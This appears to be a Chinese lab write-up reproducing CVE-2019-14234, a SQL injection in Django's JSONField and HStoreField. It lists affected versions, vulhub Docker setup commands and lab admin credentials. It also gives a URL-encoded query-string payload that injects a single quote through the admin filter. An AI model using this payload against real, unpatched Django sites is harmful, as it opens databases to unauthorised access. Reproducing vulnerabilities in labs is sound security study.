Django JSONFieldHStoreField SQL 注入漏洞 (CVE-2019-14234)
0x01漏洞概述
Django是一个大而全的Web框架,其支持很多数据库引擎,包括Postgresql、Mysql、Oracle、Sqlite3等,但与Django天生为一对儿的数据库莫过于Postgresql了,Django官方也建议配合Postgresql一起使用。
Django 于 2019 年 8 月 1 日发布了一个安全更新,修复了 JSONField 和 HStoreField 两个模型字段中的 SQL 注入漏洞。
参考链接:
https://www.djangoproject.com/weblog/2019/aug/01/security-releases/
https://www.leavesongs.com/PENETRATION/django-jsonfield-cve-2019-14234.html
该漏洞要求开发人员使用JSONField/HStoreField;此外,还可以控制查询集的字段名称。Django的内置应用程序Django-Admin受到影响,这为我们提供了一种重现漏洞的简单方法。
0x02影响版本
Django
1.11.x before 1.11.23
2.1.x before 2.1.11
2.2.x before 2.2.4
0x03漏洞环境
1、启动漏洞环境
┌──(root㉿kali)-[~/vulhub/django/CVE-2019-14234]
└─# docker-compose up -d
2、访问漏洞环境
http://your-ip:8000
3、复现完成后,删除漏洞环境
┌──(root㉿kali)-[~/vulhub/django/CVE-2019-14234]
└─# docker-compose down
0x04复现过程
1、访问网址:http://your-ip:8000/amin
账号:admin
密码:a123123123
2、登录以后访问http://your-ip:8000/admin/vuln/collection/
3、添加到GET参数,其中JSON字段
detail__a'b=123
将payload进行URL编码之后访问网址:
http://your-ip:8000/admin/vuln/collection/?detail__a%27b=123
可以看到单引号已成功注入,并且SQL语句报告错误